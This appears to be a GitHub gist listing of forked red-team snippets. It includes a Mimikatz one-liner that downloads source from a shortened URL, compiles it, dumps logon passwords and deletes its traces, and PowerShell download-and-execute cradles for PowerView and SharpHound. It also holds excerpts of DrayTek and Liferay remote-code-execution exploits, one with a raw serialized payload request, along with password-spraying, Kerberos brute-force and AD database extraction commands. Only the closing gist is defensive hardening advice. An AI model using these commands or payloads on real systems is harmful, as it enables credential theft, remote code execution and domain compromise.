filipesam / katz.cmd

Created June 12, 2020 12:37 — forked from xillwillx/katz.cmd

mimikatz.cs one-liner

powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('https://is.gd/Dopn98','katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe /reference:System.IO.Compression.dll /out:katz.exe katz.cs && InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log privilege::debug sekurlsa::logonpasswords exit && del katz.*

filipesam / RedTeam_CheatSheet.ps1

Created May 18, 2020 10:33 — forked from m8sec/RedTeam_CheatSheet.ps1

Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Domain Recon
	## ShareFinder - Look for shares on network and check access under current user context & Log to file
	powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess\|Out-File -FilePath sharefinder.txt"

	## Import PowerView Module
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"

	## Invoke-BloodHound for domain recon
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"

filipesam / msol_spray.py

Created May 4, 2020 09:54 — forked from byt3bl33d3r/msol_spray.py

Fully async python port of @dafthacks MSOLSpray (https://github.com/dafthack/MSOLSpray)

	#! /usr/bin/env python3

	#
	# Requires Python 3.7+ & aiohttp (speedups recommended)
	# pip3 install aiohttp[speedups]
	#

	import sys
	import asyncio
	import aiohttp

filipesam / Wireless Penetration Testing Cheat Sheet.md

Created April 27, 2020 22:33 — forked from dogrocker/Wireless Penetration Testing Cheat Sheet.md

Wireless Penetration Testing Cheat Sheet

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

Open the Monitor Mode

root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up

filipesam / CVE-2020-8515.go

Created March 30, 2020 22:01 — forked from 0xsha/CVE-2020-8515.go

CVE-2020-8515: DrayTek pre-auth remote root RCE

	package main


	/*
	CVE-2020-8515: DrayTek pre-auth remote root RCE

	Mon Mar 30 2020 - 0xsha.io


	Affected:

filipesam / LiferayJsonEvalCC6.java

Created March 28, 2020 12:11 — forked from testanull/LiferayJsonEvalCC6.java

Liferay Json Deserialize 1 hit RCE

	package ysoserial.payloads;

	import com.mchange.lang.ByteUtils;
	import org.apache.commons.collections.Transformer;
	import org.apache.commons.collections.functors.ChainedTransformer;
	import org.apache.commons.collections.functors.ConstantTransformer;
	import org.apache.commons.collections.functors.InvokerTransformer;
	import org.apache.commons.collections.keyvalue.TiedMapEntry;
	import org.apache.commons.collections.map.LazyMap;
	import ysoserial.payloads.annotation.Authors;

filipesam / LiferayRce.txt

Created March 28, 2020 12:10 — forked from testanull/LiferayRce.txt

	POST /api/jsonws/invoke HTTP/1.1
	Host: <Host>
	Connection: close
	cmd2: whoami
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 4912

	cmd={"/expandocolumn/update-column":{}}&p_auth=<valid token>&formDate=<date>&columnId=123&name=asdasd&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73

filipesam / kerberos_attacks_cheatsheet.md

Created December 30, 2019 22:41 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

filipesam / dsdbutil.exe

Created June 24, 2019 06:49 — forked from bohops/dsdbutil.exe

yet another native AD database extraction utility

	DSDButil
	========

	- dsdbutil (dsdbutil.exe) is utility for performing maintenance on AD/LDS databases [https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753151(v%3Dws.11)]
	- dsdbutil supports VSS snapshot creation
	- dsdbutil can be used to extract the AD database (ntds.dit) for offline analysis (with secretsdump.py)

	- Example #1: Using Snapshot GUID obtained from cmd output

	dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"

filipesam / lowhanging.md

Created January 22, 2019 22:09 — forked from 7MinSec/lowhanging.md

Low-hanging hacker fruit (and how to remove it)

Low Hanging Hacker Fruit

This gist focuses on (relatively) free and (relatively) easy things organizations can do to better protect their networks without buying yet another black box with blinking lights.

Got some ideas of your own that should be on this list? Please leave a comment below!

Implementing a stronger AD password policy

Microsoft has a great paper on the topic that gives some nice high level recommendations:

Use a unique password per site
Enable complexity